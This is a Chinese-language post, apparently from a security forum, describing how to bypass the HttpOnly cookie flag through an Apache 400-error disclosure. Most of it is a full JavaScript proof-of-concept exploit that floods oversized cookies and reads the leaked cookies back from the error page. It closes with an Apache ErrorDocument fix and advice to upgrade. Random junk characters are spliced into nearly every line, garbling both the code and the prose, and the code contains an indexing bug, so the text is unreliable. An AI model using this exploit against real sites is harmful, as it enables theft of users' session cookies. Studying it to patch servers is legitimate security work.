很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。* R4 R! A0 n' R+ H
/ P9 Z( y; k d
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
6 t) Z3 G' F5 q/ u- N
3 ]1 L, u0 j& S- B% _! g; Y
5 ~/ T2 |! @ q" M// http://www.exploit-db.com/exploits/18442/
: ^+ [. _& _1 d9 Zfunction setCookies (good) {5 T- B/ g( p/ W, Y$ t' D
// Construct string for cookie value% j8 i d" a; {
var str = "";
r. I( W+ W* c. \for (var i=0; i< 819; i++) {
3 b" E0 v# B! m$ A/ b9 f- S0 f+ \str += "x";
3 }' O4 c6 `, A+ }2 K}, w- S: v- T0 f3 h8 T( U
// Set cookies/ S! W1 k2 z# ?0 A
for (i = 0; i < 10; i++) {0 M0 W: B* }+ M+ p+ q; u0 L
// Expire evil cookie
! {8 p- ~8 ^ ~5 m/ B& ?1 Nif (good) {
7 S6 f5 t1 ]& H2 {. y6 j7 zvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
' O- b+ y: o) D; \}
p8 x0 s1 f9 L' ^// Set evil cookie0 f$ V5 l8 M( k" `
else {# A* Q; A. [% E9 |) F1 F4 A
var cookie = "xss"+i+"="+str+";path=/";
/ }/ ]2 U2 K1 b}
2 i u* ]; m5 B9 ^% Q, l1 mdocument.cookie = cookie;
6 ?% s1 _. P) Z' y3 {* `}
5 u( l- d' o/ l. P}
) ?. G* i) ^- k/ {function makeRequest() {
* U2 d) T/ f& p# w( {2 V* ssetCookies();
1 M6 Z4 N, h1 ?' |6 M- Efunction parseCookies () {: M8 D* r/ a7 c+ _( U3 h/ }4 a
var cookie_dict = {};1 o5 M- s8 Q% {, T+ ~' `
// Only react on 400 status/ Z- C& E- [* Z4 ]4 u
if (xhr.readyState === 4 && xhr.status === 400) {* D" P2 Y& L% Y6 ~
// Replace newlines and match <pre> content9 e' F- t* X/ X5 {; a; H0 V" q3 C; u
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
" W; E2 e% U3 B5 R2 Cif (content.length) {+ Q& \- v3 i7 {* s' {8 l/ d
// Remove Cookie: prefix
$ Q0 f7 u) w6 ~( p9 a: Pcontent = content[1].replace("Cookie: ", "");2 l/ ^0 p, d* |" Q* t. ^
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
+ R/ p4 B, Q" j# P$ x// Add cookies to object
2 O& d1 H) \- V p" Pfor (var i=0; i<cookies.length; i++) {" _& i& ^% B3 _3 K- c1 |' n
var s_c = cookies.split('=',2);2 N+ }) q& _6 ~# Q) K' A9 B
cookie_dict[s_c[0]] = s_c[1];
& ^& Z" n7 u: O6 P6 I& ^}9 _1 Q& Y Q/ O2 g7 [0 c
}/ n \5 m0 p% a; ]; _
// Unset malicious cookies' C, u6 t0 E' `9 ~' }9 G5 T. R$ ~2 ^
setCookies(true);
# n* Y2 A* T' R4 }6 v! Calert(JSON.stringify(cookie_dict));' ]% o4 A# ?* c. B, c; `# v! W" G
}
2 B7 y2 ]* F8 l9 S}
9 s) _; L2 G1 C1 y, U// Make XHR request+ b, h! E* X: }$ W, O
var xhr = new XMLHttpRequest();! J3 P* E9 e1 D5 i
xhr.onreadystatechange = parseCookies;
& q2 T5 a. ^& zxhr.open("GET", "/", true);* a0 t: O! [7 q! ]4 b n3 ^5 m/ I
xhr.send(null);
/ ^& m4 Q0 w* Y- A3 |}
6 C( G+ O& e, s- P LmakeRequest();
3 O' c3 G$ ~( B2 |
7 n" s0 ~6 c8 T9 S& D& r; P你就能看见华丽丽的400错误包含着cookie信息。( h3 ^! }) {5 G' x
7 z7 o3 j& ?3 \/ M" f1 W下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
5 @: {" f' u. ~5 s+ p Z
) k9 e0 n, H; E1 k0 ^$ c修复方案:0 @+ X( `2 |% X( }3 Q# v
/ \4 K; r1 l, Z; O7 }- KApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下3 z! o3 S# T6 }' s+ d
( {3 v F1 O8 u+ U. A- M- {" [In the event of a problem or error, Apachecan be configured to do one of four things,' Y1 w# X5 V- e; m$ I0 p7 v
" H' n" t; S2 [. D' x' }1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
/ W! W% B9 ], ]4 C1 e/ m2 x2. output acustomized message输出一段信息
; ^. f/ s: ^. H5 Z- T+ I3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
4 f# I [$ g; ?' u; P: \! t4. redirect to an external URL to handle theproblem/error转向一个外部URL
- M J s9 C( f: K
# n* A( M% }; A/ c; E经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容# h8 T7 }7 ?! g6 J P8 d, Z: l
# V: h8 {7 B- X
Apache配置:: I' q! v0 P- y8 x+ e, g
2 c! ^1 c- r8 x) EErrorDocument400 " security test"
; K! J2 S% V2 W7 L0 h: ~% s0 l3 X: W# l, X
当然,升级apache到最新也可:)。" G8 F) j! u* \* V) U p6 p
+ x7 `' C7 d& h
参考:http://httpd.apache.org/security/vulnerabilities_22.html
3 w( {9 m) z5 o; V
3 ~* N6 }7 e: I |